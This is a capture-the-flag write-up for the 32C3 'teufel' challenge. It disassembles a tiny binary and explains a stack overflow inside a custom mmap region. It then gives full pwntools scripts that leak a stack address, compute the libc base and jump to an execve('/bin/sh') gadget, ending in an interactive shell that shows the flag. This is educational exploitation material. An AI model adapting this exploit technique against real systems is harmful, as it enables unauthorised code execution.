Exploit a tiny binary with an extremely customised memory mapping with an infoleak leading to libc disclosure and jump to magic shell address.
Challenge Description
Points
200
Description
teufel is running at 136.243.194.41:666
Da ist der Teufel los
Solution
If you look at the disassembly of the binary, you can see that it is very tiny and possibly handcrafted.
EntryPoint:
0000000000400485 mov esi, 0x3000 ; argument "len" for method j_mmap
000000000040048a mov edx, 0x0 ; argument "prot" for method j_mmap
000000000040048f mov ecx, 0x22 ; argument "flags" for method j_mmap
0000000000400494 mov r8d, 0x0 ; argument "fildes" for method j_mmap
000000000040049a mov r9d, 0x0 ; argument "off" for method j_mmap
00000000004004a0 call j_mmap
00000000004004a5 cmp rax, 0xffffffffffffffff
00000000004004a9 je 0x4004de
00000000004004ab mov rbp, rax
00000000004004ae mov rdi, rbp
00000000004004b1 add rdi, 0x1000 ; argument "addr" for method j_mprotect
00000000004004b8 mov esi, 0x1000 ; argument "len" for method j_mprotect
00000000004004bd mov edx, 0x3 ; argument "prot" for method j_mprotect
00000000004004c2 call j_mprotect
00000000004004c7 cmp rax, 0xffffffffffffffff
00000000004004cb je 0x4004de
00000000004004cd add rbp, 0x2000
00000000004004d4 mov rsp, rbp
00000000004004d7 call sub_4004e6 ; XREF=EntryPoint+92
00000000004004dc jmp 0x4004d7
00000000004004de xor rdi, rdi ; argument "status" for method j__exit
00000000004004e1 call j__exit
What this does is create a new mapping in the virtual address space with the mmap call. It creates a mapping of size 0x3000 with a protection of 0 which means no permissions are set at a location decided by the kernel. Next, it marks 0x1000 bytes of memory from 0x1000 bytes from the start of the mapped virtual address space as readable and writable. If we take a look at the vmmap, the address space that was mapped looks like this:
0x00007ffff7ff3000 0x00007ffff7ff4000 ---p mapped
0x00007ffff7ff4000 0x00007ffff7ff5000 rw-p mapped
0x00007ffff7ff5000 0x00007ffff7ff6000 ---p mapped
Before the call to sub_4004e6
occurs, the stack and base pointers are set to
0x2000 past the start of the mapped address. This means the RSP and RBP is
pointing to the start of the the third ‘block’ in the vmmap listing above. Let’s
take a look at what happens in the call.
sub_4004e6
00000000004004e6 push rbp
00000000004004e7 mov rbp, rsp
00000000004004ea sub rsp, 0x8
00000000004004ee mov edi, 0x0 ; argument "fildes" for method j_read
00000000004004f3 lea rsi, qword [ss:rbp+var_8] ; argument "buf" for method j_read
00000000004004f7 mov edx, 0x8 ; argument "nbyte" for method j_read
00000000004004fc call j_read
0000000000400501 cmp rax, 0x0
0000000000400505 jle 0x4004de
0000000000400507 mov edi, 0x0 ; argument "fildes" for method j_read
000000000040050c lea rsi, qword [ss:rbp+var_8] ; argument "buf" for method j_read
0000000000400510 mov rdx, qword [ss:rbp+var_8] ; argument "nbyte" for method j_read
0000000000400514 call j_read
0000000000400519 cmp rax, 0x0
000000000040051d jle 0x4004de
000000000040051f lea rdi, qword [ss:rbp+var_8] ; argument "s" for method j_puts
0000000000400523 call j_puts
0000000000400528 mov edi, 0x0 ; argument "stream" for method j_fflush
000000000040052d call j_fflush
0000000000400532 mov rsp, rbp
0000000000400535 pop rbp
0000000000400536 ret
Well, let’s take this step-by-step:
00000000004004e6 push rbp
00000000004004e7 mov rbp, rsp
00000000004004ea sub rsp, 0x8
If we take a look at what has happened so far, the return address would have been pushed on the stack with the call, base pointer pushed on the stack, and 0x8 bytes allocated. After this, the stack would look like this:
00000000004004ee mov edi, 0x0 ; argument "fildes" for method j_read
00000000004004f3 lea rsi, qword [ss:rbp+var_8] ; argument "buf" for method j_read
00000000004004f7 mov edx, 0x8 ; argument "nbyte" for method j_read
00000000004004fc call j_read
0000000000400501 cmp rax, 0x0
0000000000400505 jle 0x4004de
This portion reads 8 bytes from the user and checks for errors. If there are errors, it jumps to the exit. So assuming we provide “AAAAAAAA”, the stack will look like this:
Now, let’s proceed with the next part of the disassembly:
0000000000400507 mov edi, 0x0 ; argument "fildes" for method j_read
000000000040050c lea rsi, qword [ss:rbp+var_8] ; argument "buf" for method j_read
0000000000400510 mov rdx, qword [ss:rbp+var_8] ; argument "nbyte" for method j_read
0000000000400514 call j_read
0000000000400519 cmp rax, 0x0
000000000040051d jle 0x4004de
The value obtained in the previous ‘read’ call is now used as the length in this ‘read’ call. This looks like a standard buffer overflow scenario. However, remember that if we write too much, we will hit the non-writable/non-readable portion of the mapped memory and the program will crash. Thus, we only have 24 bytes of play here.
After that, the following code is run:
000000000040051f lea rdi, qword [ss:rbp+var_8] ; argument "s" for method j_puts
0000000000400523 call j_puts
0000000000400528 mov edi, 0x0 ; argument "stream" for method j_fflush
000000000040052d call j_fflush
0000000000400532 mov rsp, rbp
0000000000400535 pop rbp
0000000000400536 ret
The buffer that we just ‘read’ to is now printed with ‘puts’. After the return, the program jumps back to the start of the subroutine:
00000000004004d7 call sub_4004e6 ; XREF=EntryPoint+92
00000000004004dc jmp 0x4004d7
Now, something that I’ve noticed is that the last byte of the saved frame pointer on the stack always ends with a null byte. So, if we can overwrite that byte, the program will print the buffer and can leak that address on the stack. Here is a script to automate this:
from pwn import *
#context.log_level = "debug"
def launch(conn, payload):
conn.send(p64(len(payload)))
conn.send(payload)
def main():
p = process("./teufel")
# Stage 1 - Info leak
launch(p, "A"*9)
add = p.recv(100)[9:-1]
add = "\x00" + add
add = add.ljust(8, "\x00")
address = u64(add)
log.success("Address of buffer: 0x%x" % address)
if __name__ == "__main__":
main()
Running the script a couple of times on the local binary:
$ python leak.py
[+] Started program './teufel'
[+] Address of buffer: 0x7ff541e56000
[*] Stopped program './teufel'
$ python leak.py
[+] Started program './teufel'
[+] Address of buffer: 0x7fae16f1f000
[*] Stopped program './teufel'
Now, since the program runs in an endless loop, we can utilise our info leak. The intended solution is to probably use multiple ‘mov pop ret’ ROP gadgets in the binary, but I used an easier approach. After some exploration of the way the kernel maps libc.so.6 and the mmap space, I realised that you could calculate the base address of libc.so.6 reliably from the infoleak. In the challenge’s case, it was 0x5ea000 lower than the stored base address.
From this libc base address, we can use gadgets in the provided libc.so.6. I’ve
discovered a magic address that automagically does execve("/bin/sh")
.
Now, there is one more thing we have to do, and that is to fix RBP so that the line:
00000000000f6927 mov rsp, qword [ss:rbp+var_110]
Will not cause the program to crash when RBP points to an invalid memory address. We need RDI to point to a zero pointer to avoid problems. I picked an address that would resolve to an area of null bytes. Here is the full exploit:
from pwn import *
#context.log_level = "debug"
def launch(conn, payload):
conn.send(p64(len(payload)))
conn.send(payload)
def main():
p = remote('136.243.194.41', 666)
# Stage 1 - Info leak
launch(p, "A"*9)
add = p.recv(100)[9:-1]
add = "\x00" + add
add = add.ljust(8, "\x00")
address = u64(add)
log.success("Address of buffer: 0x%x" % address)
# Stage 2
libc_base = address - 0x5ea000
magic_add = libc_base + 0xf6950
zero_point = libc_base + 0x3c4428
payload = "A"*8 + p64(zero_point) + p64(magic_add)
launch(p, payload)
print p.recv(1000)
p.interactive()
if __name__ == "__main__":
main()
Running the exploit:
$ python exploit.py
[+] Opening connection to 136.243.194.41 on port 666: Done
[+] Address of buffer: 0x7f2d91ad8000
AAAAAAAA($\x8b\x91-\x7f
[*] Switching to interactive mode
$ ls -la
total 32
drwxr-xr-x 2 root root 4096 Dec 26 11:25 .
drwxr-xr-x 3 root root 4096 Dec 23 18:06 ..
-rw-r--r-- 1 root root 220 Dec 23 18:06 .bash_logout
-rw-r--r-- 1 root root 3771 Dec 23 18:06 .bashrc
-rw-r--r-- 1 root root 675 Dec 23 18:06 .profile
-rw-r--r-- 1 root root 24 Dec 26 11:25 flag.txt
-rwxr-xr-x 1 root root 5192 Dec 26 11:22 teufel
$ cat flag.txt
32C3_mov_pop_ret_repeat
Flag: 32C3_mov_pop_ret_repeat
Leave a Comment